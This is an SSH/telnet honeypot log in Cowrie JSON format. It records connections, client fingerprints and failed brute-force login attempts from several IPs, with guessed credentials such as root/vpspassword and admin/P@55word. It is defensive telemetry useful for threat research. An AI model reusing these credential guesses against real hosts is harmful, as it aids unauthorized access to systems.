{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":46408,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a90d75057c","protocol":"ssh","message":"New connection: 14.225.205.58:46408 (10.17.0.5:22) [session: 38a90d75057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:40.375437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:40.379645Z","src_ip":"14.225.205.58","session":"38a90d75057c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:40.653434Z","src_ip":"14.225.205.58","session":"38a90d75057c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@55word","message":"login attempt [admin/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:41.780991Z","src_ip":"14.225.205.58","session":"38a90d75057c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52976,"dst_ip":"159.203.135.109","dst_port":23,"session":"635286f47f28","protocol":"telnet","message":"New connection: 69.6.196.124:52976 (159.203.135.109:23) [session: 635286f47f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:42.922131Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:43.058627Z","src_ip":"14.225.205.58","session":"38a90d75057c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"e281de3cf999","protocol":"telnet","message":"New connection: 69.6.196.124:52984 (159.203.135.109:23) [session: e281de3cf999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:43.905353Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b74a0e21a26","protocol":"ssh","message":"New connection: 41.63.62.103:52096 (10.17.0.5:22) [session: 3b74a0e21a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:46.604860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:46.609874Z","src_ip":"41.63.62.103","session":"3b74a0e21a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:46.877247Z","src_ip":"41.63.62.103","session":"3b74a0e21a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:47.980789Z","src_ip":"41.63.62.103","session":"3b74a0e21a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:49.250961Z","src_ip":"41.63.62.103","session":"3b74a0e21a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46124,"dst_ip":"159.203.135.109","dst_port":23,"session":"03eaf8c7c184","protocol":"telnet","message":"New connection: 69.6.196.124:46124 (159.203.135.109:23) [session: 03eaf8c7c184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:05.772676Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33746,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b506d52afad","protocol":"telnet","message":"New connection: 69.6.196.124:33746 (159.203.135.109:23) [session: 8b506d52afad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:12.539251Z"}
{"eventid":"cowrie.session.closed","duration":30.543737411499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:13.465747Z","src_ip":"69.6.196.124","session":"635286f47f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231393575668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:15.136614Z","src_ip":"69.6.196.124","session":"e281de3cf999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ac3c7f5902","protocol":"ssh","message":"New connection: 103.13.206.100:40822 (10.17.0.5:22) [session: 83ac3c7f5902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:17.513475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:17.518281Z","src_ip":"103.13.206.100","session":"83ac3c7f5902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:17.754504Z","src_ip":"103.13.206.100","session":"83ac3c7f5902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admini","message":"login attempt [root/admini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:18.732658Z","src_ip":"103.13.206.100","session":"83ac3c7f5902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:19.971505Z","src_ip":"103.13.206.100","session":"83ac3c7f5902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":34678,"dst_ip":"10.17.0.5","dst_port":22,"session":"172914ba7537","protocol":"ssh","message":"New connection: 201.184.50.251:34678 (10.17.0.5:22) [session: 172914ba7537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:27.467048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:27.471945Z","src_ip":"201.184.50.251","session":"172914ba7537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:27.563263Z","src_ip":"201.184.50.251","session":"172914ba7537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:27.921673Z","src_ip":"201.184.50.251","session":"172914ba7537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:29.009926Z","src_ip":"201.184.50.251","session":"172914ba7537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50948,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c591285bf21","protocol":"telnet","message":"New connection: 69.6.196.124:50948 (159.203.135.109:23) [session: 2c591285bf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:35.205969Z"}
{"eventid":"cowrie.session.closed","duration":30.569396018981934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:36.341924Z","src_ip":"69.6.196.124","session":"03eaf8c7c184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131993770599365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:43.671150Z","src_ip":"69.6.196.124","session":"8b506d52afad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":40474,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b3081c5f3c0","protocol":"ssh","message":"New connection: 14.225.205.58:40474 (10.17.0.5:22) [session: 5b3081c5f3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:48.129781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:48.134179Z","src_ip":"14.225.205.58","session":"5b3081c5f3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:48.388702Z","src_ip":"14.225.205.58","session":"5b3081c5f3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@$$wOrd","message":"login attempt [admin/p@$$wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:49.441647Z","src_ip":"14.225.205.58","session":"5b3081c5f3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:50.701847Z","src_ip":"14.225.205.58","session":"5b3081c5f3c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":41936,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a2f60d0d55","protocol":"ssh","message":"New connection: 41.63.62.103:41936 (10.17.0.5:22) [session: 05a2f60d0d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:53.275549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:53.281113Z","src_ip":"41.63.62.103","session":"05a2f60d0d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:53.544983Z","src_ip":"41.63.62.103","session":"05a2f60d0d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46522,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2a280e29d66","protocol":"telnet","message":"New connection: 69.6.196.124:46522 (159.203.135.109:23) [session: e2a280e29d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:53.566488Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#","message":"login attempt [admin/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:54.634486Z","src_ip":"41.63.62.103","session":"05a2f60d0d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"9788e23f64e6","protocol":"telnet","message":"New connection: 69.6.196.124:46524 (159.203.135.109:23) [session: 9788e23f64e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:55.594247Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:55.901205Z","src_ip":"41.63.62.103","session":"05a2f60d0d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":45794,"dst_ip":"10.17.0.5","dst_port":23,"session":"789940f74a8f","protocol":"telnet","message":"New connection: 69.65.3.189:45794 (10.17.0.5:23) [session: 789940f74a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:57.248748Z"}
{"eventid":"cowrie.session.closed","duration":1.3018324375152588,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:41:58.550454Z","src_ip":"69.65.3.189","session":"789940f74a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47836,"dst_ip":"10.17.0.5","dst_port":22,"session":"91cf826d23a6","protocol":"ssh","message":"New connection: 103.129.221.202:47836 (10.17.0.5:22) [session: 91cf826d23a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:00.422669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:00.429986Z","src_ip":"103.129.221.202","session":"91cf826d23a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:00.684219Z","src_ip":"103.129.221.202","session":"91cf826d23a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456789","message":"login attempt [ubuntu/aA123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:01.718807Z","src_ip":"103.129.221.202","session":"91cf826d23a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:02.971415Z","src_ip":"103.129.221.202","session":"91cf826d23a6","protocol":"ssh"}
